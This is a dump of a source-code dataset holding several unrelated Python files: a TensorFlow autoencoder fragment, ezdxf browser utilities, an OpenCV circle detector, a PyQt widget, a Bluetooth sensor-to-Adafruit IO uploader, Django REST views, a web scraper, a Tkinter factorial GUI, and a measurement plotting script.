layer1_W)) / 2.0\nrho_bar = layer0_p\n\nKL_div = tf.reduce_sum(sparsity_parameter * tf.log(sparsity_parameter/ rho_bar) + \n (1 - sparsity_parameter) * tf.log((1-sparsity_parameter) / (1- rho_bar))) \n\ncost = avg_sum_sq_error + reg_cost + beta * KL_div\n\nKL_div_grad = beta* (- sparsity_parameter / rho_bar + (1 - sparsity_parameter) / \n (1 - rho_bar))\n\nl1_grad,l1_grad_up = l1.backprop(error)\nl0_grad,l0_grad_up = l0.backprop(l1_grad,KL_div_grad)\n\ngrad_update = l1_grad_up + l0_grad_up\n\n# sess\nwith tf.Session( ) as sess:\n\n sess.run(tf.global_variables_initializer())\n \n train_cota,train_acca = 0,0\n train_cot,train_acc = [],[]\n \n for iter in range(num_epoch):\n for batch_size_index in range(0,len(train_batch),batch_size):\n current_batch = train_batch[batch_size_index:batch_size_index+batch_size]\n sess_result = sess.run([cost,grad_update],feed_dict={x:current_batch})\n print(\"Current Iter : \",iter, \" current batch: \",batch_size_index, ' Current cost: ', sess_result[0],end='\\n')\n train_cota = train_cota + sess_result[0]\n\n def display_network(A):\n opt_normalize = True\n opt_graycolor = True\n\n # Rescale\n A = A - np.average(A)\n\n # Compute rows & cols\n (row, col) = A.shape\n sz = int(np.ceil(np.sqrt(row)))\n buf = 1\n n = int(np.ceil(np.sqrt(col)))\n m = int(np.ceil(col / n))\n\n image = np.ones(shape=(buf + m * (sz + buf), buf + n * (sz + buf)))\n\n if not opt_graycolor:\n image *= 0.1\n\n k = 0\n for i in range(int(m)):\n for j in range(int(n)):\n if k >= col:\n continue\n\n clim = np.max(np.abs(A[:, k]))\n\n if opt_normalize:\n image[buf + i * (sz + buf):buf + i * (sz + buf) + sz, buf + j * (sz + buf):buf + j * (sz + buf) + sz] = \\\n A[:, k].reshape(sz, sz) / clim\n else:\n image[buf + i * (sz + buf):buf + i * (sz + buf) + sz, buf + j * (sz + buf):buf + j * (sz + buf) + sz] = \\\n A[:, k].reshape(sz, sz) / np.max(np.abs(A))\n k += 1\n fig=plt.figure(figsize=(10, 10))\n plt.axis('off')\n plt.title('From Function')\n plt.imshow(image,cmap='gray')\n plt.show()\n\n # training_data = train_batch[:196]\n # training_data_reshape = np.reshape(training_data,(196,28,28))\n # fig=plt.figure(figsize=(10, 10))\n # columns = 14; rows = 14\n # for i in range(1, columns*rows +1):\n # fig.add_subplot(rows, columns, i)\n # plt.axis('off')\n # plt.imshow(training_data_reshape[i-1,:,:],cmap='gray')\n # plt.show()\n # plt.close('all')\n\n recon_data = sess.run(layer1,feed_dict={x:train_batch})[:196]\n recon_data_reshape = np.reshape(recon_data,(196,28,28))\n fig=plt.figure(figsize=(10, 10))\n columns = 14; rows = 14\n for i in range(1, columns*rows +1):\n fig.add_subplot(rows, columns, i)\n plt.axis('off')\n plt.imshow(recon_data_reshape[i-1,:,:],cmap='gray')\n plt.show()\n plt.close('all')\n\n opt_W1 = sess.run(layer0_W)\n display_network(opt_W1)\n plt.close('all')\n\n opt_W1_data_reshape = np.reshape(opt_W1.T,(196,28,28))\n fig=plt.figure(figsize=(10, 10))\n columns = 14; rows = 14\n for i in range(1, columns*rows +1):\n fig.add_subplot(rows, columns, i)\n plt.axis('off')\n plt.imshow(opt_W1_data_reshape[i-1,:,:],cmap='gray')\n plt.title('OG')\n plt.show()\n plt.close('all')\n\n# -- end code --","sub_path":"NeuralNetwork/Sparse_Coding/garbage_archieve/a_tf.py","file_name":"a_tf.py","file_ext":"py","file_size_in_byte":28738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"138683379","text":"# Copyright (c) 2021, Manfred Moitzi\n# License: MIT License\nfrom typing import Optional, Dict, List, Tuple, Iterable, Any\nfrom pathlib import Path\nfrom ezdxf.lldxf.loader import SectionDict\nfrom ezdxf.addons.browser.loader import load_section_dict\nfrom ezdxf.lldxf.types import DXFVertex, tag_type\nfrom ezdxf.lldxf.tags import Tags\n\n__all__ = [\n \"DXFDocument\",\n \"get_row_from_line_number\",\n \"dxfstr\",\n \"EntityHistory\",\n \"SearchIndex\",\n]\n\n\nclass DXFDocument:\n def __init__(self, sections: SectionDict = None):\n # Important: the section dict has to store the raw string tags\n # else an association of line numbers to entities is not possible.\n # Comment tags (999) are ignored, because the load_section_dict()\n # function can not handle and store comments.\n # Therefore comments causes incorrect results for the line number\n # associations and should be stripped off before processing for precise\n # debugging of DXF files (-b for backup):\n # ezdxf strip -b \n self.sections: SectionDict = dict()\n self.handle_index: Optional[HandleIndex] = None\n self.line_index: Optional[LineIndex] = None\n self.valid_handles = None\n self.filename = \"\"\n if sections:\n self.update(sections)\n\n @property\n def filepath(self):\n return Path(self.filename)\n\n @property\n def max_line_number(self) -> int:\n if self.line_index:\n return self.line_index.max_line_number\n else:\n return 1\n\n def load(self, filename: str):\n self.filename = filename\n self.update(load_section_dict(filename))\n\n def update(self, sections: SectionDict):\n self.sections = sections\n self.handle_index = HandleIndex(self.sections)\n self.line_index = LineIndex(self.sections)\n\n def absolute_filepath(self):\n return self.filepath.absolute()\n\n def get_section(self, name: str) -> List[Tags]:\n return self.sections.get(name) # type: ignore\n\n def get_entity(self, handle: str) -> Optional[Tags]:\n if self.handle_index:\n return self.handle_index.get(handle)\n return None\n\n def get_line_number(self, entity: Tags, offset: int = 0) -> int:\n if self.line_index:\n return (\n self.line_index.get_start_line_for_entity(entity) + offset * 2\n )\n return 0\n\n def get_entity_at_line(self, number: int) -> Optional[Tags]:\n if self.line_index:\n return self.line_index.get_entity_at_line(number)\n return None\n\n def next_entity(self, entity: Tags) -> Optional[Tags]:\n return self.handle_index.next_entity(entity) # type: ignore\n\n def previous_entity(self, entity: Tags) -> Optional[Tags]:\n return self.handle_index.previous_entity(entity) # type: ignore\n\n def get_handle(self, entity) -> Optional[str]:\n return self.handle_index.get_handle(entity) # type: ignore\n\n\nclass HandleIndex:\n def __init__(self, sections: SectionDict):\n self._index = HandleIndex.build(sections)\n\n def __contains__(self, handle: str) -> bool:\n return handle.upper() in self._index\n\n def get(self, handle: str):\n return self._index.get(handle.upper())\n\n def get_handle(self, entity: Tags) -> Optional[str]:\n try:\n return entity.get_handle()\n except ValueError:\n pass\n # get dummy handle\n for handle, e in self._index.items():\n if e is entity:\n return handle\n return None\n\n @staticmethod\n def build(sections: SectionDict) -> Dict:\n dummy_handle = 1\n entity_index = dict()\n for section in sections.values():\n for entity in section:\n try:\n handle = entity.get_handle()\n except ValueError:\n handle = f\"*{dummy_handle:X}\"\n dummy_handle += 1\n entity_index[handle.upper()] = entity\n return entity_index\n\n def next_entity(self, entity: Tags) -> Tags:\n return_next = False\n for e in self._index.values():\n if return_next:\n return e\n if e is entity:\n return_next = True\n return entity\n\n def previous_entity(self, entity: Tags) -> Tags:\n prev = entity\n for e in self._index.values():\n if e is entity:\n return prev\n prev = e\n return entity\n\n\nclass LineIndex:\n def __init__(self, sections: SectionDict):\n # id, (start_line_number, entity tags)\n self._entity_index: Dict[\n int, Tuple[int, Tags]\n ] = LineIndex.build_entity_index(sections)\n\n # entity index of sorted (start_line_number, entity) tuples\n index = LineIndex.build_line_index(sections)\n self._line_index: List[Tuple[int, Tags]] = index\n self._max_line_number = 1\n if index:\n last_start_number, e = self._line_index[-1]\n self._max_line_number = last_start_number + len(e) * 2 - 1\n\n @property\n def max_line_number(self) -> int:\n return self._max_line_number\n\n @staticmethod\n def build_entity_index(sections: SectionDict) -> Dict:\n index: Dict[int, Tuple[int, Tags]] = dict()\n line_number = 1\n for section in sections.values():\n # the section dict contain raw string tags\n for entity in section:\n index[id(entity)] = line_number, entity # type: ignore\n line_number += len(entity) * 2 # type: ignore # group code, value\n line_number += 2 # for missing ENDSEC tag\n return index\n\n @staticmethod\n def build_line_index(sections: SectionDict) -> List:\n index: List[Tuple[int, Tags]] = list()\n start_line_number = 1\n for name, section in sections.items():\n # the section dict contain raw string tags\n for entity in section:\n index.append((start_line_number, entity)) # type: ignore\n # add 2 lines for each tag: group code, value\n start_line_number += len(entity) * 2 # type: ignore\n start_line_number += 2 # for missing ENDSEC tag\n index.sort() # sort index by line number\n return index\n\n def get_start_line_for_entity(self, entity: Tags) -> int:\n entry = self._entity_index.get(id(entity))\n if entry:\n return entry[0]\n return 0\n\n def get_entity_at_line(self, number: int) -> Optional[Tags]:\n index = self._line_index\n if len(index) == 0:\n return None\n\n _, entity = index[0] # first entity\n for start, e in index:\n if start > number:\n return entity\n entity = e\n return entity\n\n\ndef get_row_from_line_number(\n entity: Tags, start_line_number: int, select_line_number: int\n) -> int:\n count = select_line_number - start_line_number\n lines = 0\n row = 0\n for tag in entity:\n if lines >= count:\n return row\n if isinstance(tag, DXFVertex):\n lines += len(tag.value) * 2\n else:\n lines += 2\n row += 1\n return row\n\n\ndef dxfstr(tags: Tags) -> str:\n return \"\".join(tag.dxfstr() for tag in tags)\n\n\nclass EntityHistory:\n def __init__(self):\n self._history: List[Tags] = list()\n self._index: int = 0\n self._time_travel: List[Tags] = list()\n\n def __len__(self):\n return len(self._history)\n\n @property\n def index(self):\n return self._index\n\n def clear(self):\n self._history.clear()\n self._time_travel.clear()\n self._index = 0\n\n def append(self, entity: Tags):\n if self._time_travel:\n self._history.extend(self._time_travel)\n self._time_travel.clear()\n count = len(self._history)\n if count:\n # only append if different to last entity\n if self._history[-1] is entity:\n return\n self._index = count\n self._history.append(entity)\n\n def back(self) -> Optional[Tags]:\n entity = None\n if self._history:\n index = self._index - 1\n if index >= 0:\n entity = self._time_wrap(index)\n else:\n entity = self._history[0]\n return entity\n\n def forward(self) -> Tags:\n entity = None\n history = self._history\n if history:\n index = self._index + 1\n if index < len(history):\n entity = self._time_wrap(index)\n else:\n entity = history[-1]\n return entity # type: ignore\n\n def _time_wrap(self, index) -> Tags:\n self._index = index\n entity = self._history[index]\n self._time_travel.append(entity)\n return entity\n\n def content(self) -> List[Tags]:\n return list(self._history)\n\n\nclass SearchIndex:\n NOT_FOUND = None, -1\n\n def __init__(self, entities: Iterable[Tags]):\n self.entities: List[Tags] = list(entities)\n self._current_entity_index: int = 0\n self._current_tag_index: int = 0\n self._search_term: Optional[str] = None\n self._search_term_lower: Optional[str] = None\n self._backward = False\n self._end_of_index = not bool(self.entities)\n self.case_insensitive = True\n self.whole_words = False\n self.numbers = False\n self.regex = False # False = normal mode\n\n @property\n def is_end_of_index(self) -> bool:\n return self._end_of_index\n\n @property\n def search_term(self) -> Optional[str]:\n return self._search_term\n\n def set_current_entity(self, entity: Tags, tag_index: int = 0):\n self._current_tag_index = tag_index\n try:\n self._current_entity_index = self.entities.index(entity)\n except ValueError:\n self.reset_cursor()\n\n def update_entities(self, entities: List[Tags]):\n current_entity, index = self.current_entity()\n self.entities = entities\n if current_entity:\n self.set_current_entity(current_entity, index)\n\n def current_entity(self) -> Tuple[Optional[Tags], int]:\n if self.entities and not self._end_of_index:\n return (\n self.entities[self._current_entity_index],\n self._current_tag_index,\n )\n return self.NOT_FOUND\n\n def reset_cursor(self, backward: bool = False):\n self._current_entity_index = 0\n self._current_tag_index = 0\n count = len(self.entities)\n if count:\n self._end_of_index = False\n if backward:\n self._current_entity_index = count - 1\n entity = self.entities[-1]\n self._current_tag_index = len(entity) - 1\n else:\n self._end_of_index = True\n\n def cursor(self) -> Tuple[int, int]:\n return self._current_entity_index, self._current_tag_index\n\n def move_cursor_forward(self) -> None:\n if self.entities:\n entity: Tags = self.entities[self._current_entity_index]\n tag_index = self._current_tag_index + 1\n if tag_index >= len(entity):\n entity_index = self._current_entity_index + 1\n if entity_index < len(self.entities):\n self._current_entity_index = entity_index\n self._current_tag_index = 0\n else:\n self._end_of_index = True\n else:\n self._current_tag_index = tag_index\n\n def move_cursor_backward(self) -> None:\n if self.entities:\n tag_index = self._current_tag_index - 1\n if tag_index < 0:\n entity_index = self._current_entity_index - 1\n if entity_index >= 0:\n self._current_entity_index = entity_index\n self._current_tag_index = (\n len(self.entities[entity_index]) - 1\n )\n else:\n self._end_of_index = True\n else:\n self._current_tag_index = tag_index\n\n def reset_search_term(self, term: str) -> None:\n self._search_term = str(term)\n self._search_term_lower = self._search_term.lower()\n\n def find(\n self, term: str, backward: bool = False, reset_index: bool = True\n ) -> Tuple[Optional[Tags], int]:\n self.reset_search_term(term)\n if reset_index:\n self.reset_cursor(backward)\n if len(self.entities) and not self._end_of_index:\n if backward:\n return self.find_backwards()\n else:\n return self.find_forward()\n else:\n return self.NOT_FOUND\n\n def find_forward(self) -> Tuple[Optional[Tags], int]:\n return self._find(self.move_cursor_forward)\n\n def find_backwards(self) -> Tuple[Optional[Tags], int]:\n return self._find(self.move_cursor_backward)\n\n def _find(self, move_cursor) -> Tuple[Optional[Tags], int]:\n if self.entities and self._search_term and not self._end_of_index:\n while not self._end_of_index:\n entity, tag_index = self.current_entity()\n move_cursor()\n if self._match(*entity[tag_index]): # type: ignore\n return entity, tag_index\n return self.NOT_FOUND\n\n def _match(self, code: int, value: Any) -> bool:\n if tag_type(code) is not str:\n if not self.numbers:\n return False\n value = str(value)\n\n if self.case_insensitive:\n search_term = self._search_term_lower\n value = value.lower()\n else:\n search_term = self._search_term\n\n if self.whole_words:\n return any(search_term == word for word in value.split())\n else:\n return search_term in value\n","sub_path":"src/ezdxf/addons/browser/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":14003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"511077091","text":"import cv2, math\nimport numpy as np\n\nif __name__ == \"__main__\":\n orig = cv2.imread('../imgFolder/oo.jpeg', 0)\n cv2.imshow('detected circles',orig)\n cv2.waitKey(0)\n img = cv2.medianBlur(orig, 21)\n cv2.imshow('detected circles',img)\n cv2.waitKey(0)\n _, img = cv2.threshold(img, 120, 255, cv2.THRESH_BINARY)\n cv2.imshow('detected circles',img)\n cv2.waitKey(0)\n circles = cv2.HoughCircles(img,cv2.HOUGH_GRADIENT, 1, 10, param1=30, param2=15, minRadius=80, maxRadius=110)\n circles = np.uint16(np.around(circles))\n\n\n for i in circles[0,:]:\n # draw the outer circle\n cv2.circle(orig,(i[0],i[1]),i[2],(0,255,0),2)\n # draw the center of the circle\n cv2.circle(orig,(i[0],i[1]),2,(0,0,255),3)\n pass\n\n\n means = np.mean(circles[0], axis=0).astype(int)\n print(means)\n\n print(orig.shape)\n\n for r, row in enumerate(orig):\n for c, val in enumerate(row):\n if (r - means[1])**2 + (c - means[0])**2 > means[2]**2:\n # print(len(orig), r, len(orig[0]), c)\n orig[r][c] = 255\n\n cv2.imshow('detected circles',orig)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n","sub_path":"Server/oldScripts/CircleDetector.py","file_name":"CircleDetector.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"132517870","text":"from trpgcreator.ui.widgets.global_row import Ui_GlobalRow\nfrom PyQt5.QtWidgets import QWidget, QApplication, QSpinBox, QDoubleSpinBox, QLineEdit, QCheckBox\n\n\nclass GlobalRow(QWidget):\n def __init__(self, name, value, delete_func):\n super().__init__()\n self.wid = Ui_GlobalRow()\n self.wid.setupUi(self)\n self.wid.pushButtonDelete.clicked.connect(delete_func)\n self.wid.comboBoxType.setCurrentIndex(-1)\n self.wid.comboBoxType.currentIndexChanged.connect(self.set_wid_type)\n self.wid.lineEditName.setText(name)\n self.init_combo_box(value)\n self.set_value(value)\n\n def get_name(self):\n return self.wid.lineEditName.text()\n\n def get_value(self):\n value_widget = self.wid.frameValue.layout().itemAt(0).widget()\n index = self.wid.comboBoxType.currentIndex()\n if index in (0, 1):\n return value_widget.value()\n elif index == 2:\n return value_widget.text()\n elif index == 3:\n return value_widget.isChecked()\n else:\n return None # This shouldn't happen\n\n def set_value(self, value):\n value_widget = self.wid.frameValue.layout().itemAt(0).widget()\n index = self.wid.comboBoxType.currentIndex()\n if index in (0, 1):\n value_widget.setValue(value)\n elif index == 2:\n return value_widget.setText(value)\n elif index == 3:\n return value_widget.setChecked(value)\n else:\n return None # This shouldn't happen\n\n def init_combo_box(self, value):\n if isinstance(value, int):\n self.wid.comboBoxType.setCurrentIndex(0)\n elif isinstance(value, float):\n self.wid.comboBoxType.setCurrentIndex(1)\n elif isinstance(value, str):\n self.wid.comboBoxType.setCurrentIndex(2)\n elif isinstance(value, bool):\n self.wid.comboBoxType.setCurrentIndex(3)\n\n def set_wid_type(self, index):\n new_wid = [\n self._default_spin,\n self._default_double,\n QLineEdit,\n QCheckBox\n ][index]\n layout = self.wid.frameValue.layout()\n for i in reversed(range(layout.count())):\n widget_to_remove = layout.itemAt(i).widget()\n layout.removeWidget(widget_to_remove)\n widget_to_remove.setParent(None)\n layout.addWidget(new_wid())\n\n @staticmethod\n def _default_spin():\n widget = QSpinBox()\n widget.setMinimum(-999999999)\n widget.setMaximum(999999999)\n return widget\n\n @staticmethod\n def _default_double():\n widget = QDoubleSpinBox()\n widget.setMinimum(-999999999)\n widget.setMaximum(999999999)\n return widget\n\n\nif __name__ == \"__main__\":\n import sys\n\n app = QApplication(sys.argv)\n test = GlobalRow('test', 1, lambda: print(test.get_data()))\n test.show()\n sys.exit(app.exec_())\n","sub_path":"trpgcreator/element/global_row_widget.py","file_name":"global_row_widget.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"430197529","text":"\nimport pygatt\nimport unicodedata\nimport time\nfrom Adafruit_IO import Client, Feed\n\nadapter = pygatt.GATTToolBackend()\nbluetooth_address = '00:60:37:0A:B1:4B'\n\n#NXP Rapid IOT Characteristic UUIDS\ncharacteristic_UUIDS = {\n \"temperature\": \"09c0c6b0-f14c-4e4f-b94a-d3aefbfd4668\",\n \"humidity\" :\"09c0c6b0-f14c-4e4f-b94a-d3aefbfd4669\",\n \"air_quality_tvoc\":\"09c0c6b0-f14c-4e4f-b94a-d3aefbfd466a\",\n \"air_quality_co2\": \"09c0c6b0-f14c-4e4f-b94a-d3aefbfd466b\",\n \"pressure\": \"09c0c6b0-f14c-4e4f-b94a-d3aefbfd466c\",\n \"ambient-light\": \"09c0c6b0-f14c-4e4f-b94a-d3aefbfd466d\" ,\n \"battery-level\": \"09c0c6b0-f14c-4e4f-b94a-d3aefbfd4666\",\n \"charging-status\": \"09c0c6b0-f14c-4e4f-b94a-d3aefbfd4667\"\n}\n\n#Adafruit IO Configuration\nADAFRUIT_IO_USERNAME = \"makoooy123\"\nADAFRUIT_IO_KEY = \"********************************\"\n\naio = Client(ADAFRUIT_IO_USERNAME, ADAFRUIT_IO_KEY)\n\n#Feeds in Adafruit IO\ntemp = aio.feeds('temperature')\nhumid = aio.feeds('humidity')\npressure = aio.feeds('pressure')\nbat_status = aio.feeds('charging-status')\nbat_level = aio.feeds('battery-level')\nlight = aio.feeds('ambient-light')\n\n\nsensor_values = {}\ntry: \n adapter.start()\n device = adapter.connect(bluetooth_address)\n while True:\n \n for sensor, uuid in characteristic_UUIDS.items():\n initial = device.char_read(uuid)\n value = initial.decode('utf-8').rstrip('\\x00')\n sensor_values[sensor] = float(value)\n \n pressure_converted = int(str(sensor_values['pressure'])[:3])\n\n aio.send_data(temp.key, sensor_values['temperature'])\n aio.send_data(humid.key, sensor_values['humidity'])\n aio.send_data(pressure.key, pressure_converted)\n aio.send_data(bat_status.key, sensor_values['charging-status'])\n aio.send_data(bat_level.key, sensor_values['battery-level'])\n aio.send_data(light.key, sensor_values['ambient-light'])\n print(sensor_values)\n time.sleep(10)\n \n \nfinally:\n adapter.stop()\n\n","sub_path":"Python Code/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"266010589","text":"from django.http import Http404\nfrom django.shortcuts import render\nfrom django.shortcuts import get_object_or_404, get_list_or_404\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom .models import Stock, StockDetailToday\nfrom .serializers import StockSerializer, StockDetailTodaySerializer\n\n\n# Create your views here.\nclass StockList(APIView):\n\n def get(self, request):\n stock = get_list_or_404(Stock)\n stock = Stock.objects.filter()\n serializer = StockSerializer(stock, many=True)\n return Response(serializer.data)\n\n def post(self, request):\n serializer = StockSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass StockDetails(APIView):\n\n def get_object(self, pk):\n return get_object_or_404(Stock, pk=pk)\n # try:\n # return Stock.objects.get(pk=pk)\n # except Stock.DoesNotExist:\n # raise Http404\n\n\n def get(self, request, pk):\n snippet = self.get_object(pk)\n #selected_song = snippet.stockdetailtoday_set.all()\n serializer = StockSerializer(snippet)\n # snippett = get_list_or_404(StockDetailToday)\n #serializer = StockDetailTodaySerializer(snippet)\n return Response(serializer.data)\n\n def put(self, request, pk):\n snippet = self.get_object(pk)\n serializer = StockSerializer(snippet, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self, request, pk):\n snippet = self.get_object(pk)\n snippet.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n def patch(self, request, pk):\n snippet = self.get_object(pk)\n serializer = StockSerializer(snippet, data=request.data, partial=True) # set partial=True to update a data partially\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n","sub_path":"company/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"443370752","text":"#Importing modules needed\nimport requests\nfrom bs4 import BeautifulSoup\n\n#getting a response from website\nurl = 'https://www.infomoney.com.br/'\nresp = requests.get(url)\n\n#parsing with bs4, and getting the daily variation of iBov\nsoup = BeautifulSoup(resp.text, 'html.parser')\ndaily = soup.select(\".ticker-box-positive\")[0].text\n\nprint (daily)\n","sub_path":"scrapping_infomoney.py","file_name":"scrapping_infomoney.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"367456308","text":"from Tkinter import *\n#import numpy\n\ndef factorielle(n):\n a = n\n i = 1\n while n>0:\n i *= n\n n = n-1\n texte=\"Le resultat est :\" + str(a) +\"!=\"+str(i)\n return texte \nfenetre = Tk()\n\ninp = Label(fenetre, text='Enter factoriel', fg = 'white', bg = 'black')\ninp.grid(row=1, column=0, sticky=W+E)\nvin = Entry(fenetre, fg='purple', bg='light blue')\nvin.grid(row = 1, column = 1, sticky = W+E)\nvin.bind(\"\", factorielle(int(vin.get())))\n\nvbut= Button( fenetre, text='Compute', command=factorielle(int(vin.get())), bg='light green', fg='blue')\nvbut.grid(row = 2, column = 3, sticky = W)\n#texte=factorielle()\n\"\"\"tex = Label(fenetre, text=texte, fg = 'white', bg = 'black')\ntex.grid(row=3, column=1, sticky=W+E, ipadx=5, ipady=5)\nbut = Button(res, text='Quit', command=res.quit, bg='red', fg='white')\nbut.grid(row=3, column=2, sticky=E)\n\n \"\"\"\n\n\nfenetre.mainloop()\n","sub_path":"facto.py","file_name":"facto.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"403134004","text":"\"\"\"This module contains the View class\"\"\"\n\nimport pygame\nfrom pygame.locals import color as pg_color\nfrom pygame import error as pg_error\n\nfrom settings import (IMG_HERO, IMG_GARDIAN, IMG_WALL, IMG_WIDTH,\n SCREEN_HEIGHT, SCREEN_WIDTH, BG_COLOR, HELP_MSG,\n INIT_MSG, IMG_ERROR)\n\n\nclass View:\n \"\"\"This class is responsible for render graphism using pygame librairy\n\n Public Methods:\n - Render: Handle the display for all elements of labyrinth.\n - set_text_to_print: define a message for the printing surface.\n \"\"\"\n\n screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n\n def __init__(self, map):\n \"\"\"initialize the class attributs.\n Args:\n map: a Map object representing the labyrinth.\n \"\"\"\n self._map = map\n try:\n self._hero_img = pygame.image.load(IMG_HERO).convert()\n self._wall_img = pygame.image.load(IMG_WALL).convert()\n self._guardian_img = pygame.image.load(IMG_GARDIAN).convert()\n except pg_error as err:\n raise FileNotFoundError(IMG_ERROR + err.args[0])\n\n # Set transparency for white color\n self._hero_img.set_colorkey((255, 255, 255))\n self._guardian_img.set_colorkey((255, 255, 255))\n\n pygame.display.set_caption(\"Mac Gyver Escape Game\")\n\n self._font_help = pygame.font.SysFont(\"arial\", 16, bold=True)\n self._font_text = pygame.font.SysFont(\"arial\", 18, bold=True)\n self._help_to_print = self._font_help.render(\n HELP_MSG, True, pg_color.THECOLORS['chocolate'], BG_COLOR)\n self._text_to_print = self._font_text.render(\n INIT_MSG, True, pg_color.THECOLORS['blue'], BG_COLOR)\n\n @property\n def guardian_img(self):\n \"\"\"Return the Surface for the guardian image\"\"\"\n return self._guardian_img\n\n @guardian_img.setter\n def guardian_img(self, value):\n \"\"\"Set the Surface for the guardian image\"\"\"\n self._guardian_img = value\n\n def set_text_to_print(self, message, color='blue'):\n \"\"\"Create a surface for messages\n\n Args:\n message: String of the message\n color: String of the color (default = blue)\n \"\"\"\n self._text_to_print = self._font_text.render(\n message, True, pg_color.THECOLORS[color], BG_COLOR)\n\n def render(self):\n \"\"\"Display the game(labyrinth, peoples, items etc...)\"\"\"\n # background color\n View.screen.fill(BG_COLOR)\n\n # Draw the wall\n for wall in self._map.wall:\n x, y = wall.position\n View.screen.blit(self._wall_img, (y * IMG_WIDTH, x * IMG_WIDTH))\n\n # Draw the hero\n x, y = self._map.hero.img_position\n View.screen.blit(self._hero_img, (y, x))\n\n # Draw the guardian\n if self._guardian_img is not None:\n x, y = self._map.end\n View.screen.blit(\n self._guardian_img, (y * IMG_WIDTH, x * IMG_WIDTH))\n\n # Draw the Items\n for item in self._map.items:\n x, y = item.img_position\n View.screen.blit(item.image, (y, x))\n\n # Draw the messages surface\n View.screen.blit(self._help_to_print, (1, 451))\n View.screen.blit(self._text_to_print, (1, 475))\n\n # Refresh\n pygame.display.flip()\n","sub_path":"views/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":3354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"224675841","text":"# https://atcoder.jp/contests/abc166/tasks/abc166_b\n\nn,k = (int(i) for i in input().split())\n\nbelongs = [0] * n\n\nfor i in range(k):\n\tif 0 in belongs:\n\t\td = int(input())\n\t\ta = [int(j) for j in input().split()]\n\t\tfor j in range(d):\n\t\t\tbelongs[a[j]-1] = 1\n\nprint(belongs.count(0))","sub_path":"TrickOrTreat.py","file_name":"TrickOrTreat.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"220132830","text":"# pandas\n# numpy\n# matplotlib\n\n# Tää ohjelma perustuu kiinteän mittaiseen (350) taulukkoon jossa antennin ja kaapelin gain on jaettu 20Mhz kaistoihin välillä 0 ...7000Mhz\n#totetus ei ole kovin Python\n\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport AF_C_correlation\nimport numpy as np\n\ntyohakemisto = 'c:/300220_data/'\n\n\"\"\"\nHaetaan data \n\"\"\"\n\ndef hae_data():\n\n global data_raw\n global meas_info\n\n data_raw_read = pd.read_csv(tyohakemisto+'data.txt', delimiter=';')\n meas_info = pd.read_csv(tyohakemisto+'meas_info.txt', delimiter=';')\n data_raw =data_raw_read.iloc[0:557,0:2]\n\n\n\"\"\"\nDebug tiedosto jos tarvitaan \n\"\"\"\ndef debug_tiedosto():\n\n dataRaw_pandas=pd.DataFrame(dataRaw_arr)\n dataRaw_pandas.to_csv(tyohakemisto+\"/data_from_calc.txt\", sep=';')\n\n\n\"\"\"\n1. Lasketaan antenni yms korjaukset\n2. Haetaan max piikin arvo ja kohta \n\"\"\"\ndef laske_max(datacorr_array):\n global freq_r\n global value_r\n global pointer_f\n global pointer_v\n global freq\n global values\n global max_value_index\n\n freq = datacorr_array[:,0]\n values = datacorr_array[:,1]\n\n dataRaw_temp = pd.DataFrame(values)\n max_value_index = dataRaw_temp.idxmax(0)\n freq_r = np.round( freq[max_value_index[0]], decimals=3)\n value_r = np.round( values[max_value_index[0]], decimals=2)\n pointer_f = freq[max_value_index]\n pointer_v = values[max_value_index]\n\n\"\"\"\nPlot..\n\"\"\"\ndef piirra():\n\n raami = plt.figure()\n kuvaaja = raami.add_subplot(1,1,1)\n\n kuvaaja.plot(freq,values)\n\n # 7_22 ... 7_23\n kuvaaja.plot([rajat.loc['7_22', 'freq'], rajat.loc['7_23', 'freq']],\n [rajat.loc['7_23', 'dBm_tx'], rajat.loc['7_23', 'dBm_tx']]\n , 'k')\n\n\n\n kuvaaja.text(0.8,0.90,meas_info.TEKSTI[0],ha='center', va='center', transform=kuvaaja.transAxes)\n kuvaaja.text(0.8,0.85,meas_info.TEKSTI[1],ha='center', va='center', transform=kuvaaja.transAxes)\n kuvaaja.text(0.8,0.80,meas_info.TEKSTI[2],ha='center', va='center', transform=kuvaaja.transAxes)\n kuvaaja.text(0.8,-0.1,meas_info.TEKSTI[3],ha='center', va='center', transform=kuvaaja.transAxes, fontweight='bold')\n kuvaaja.text(0.5,1.05,meas_info.TEKSTI[4],ha='center', va='center', 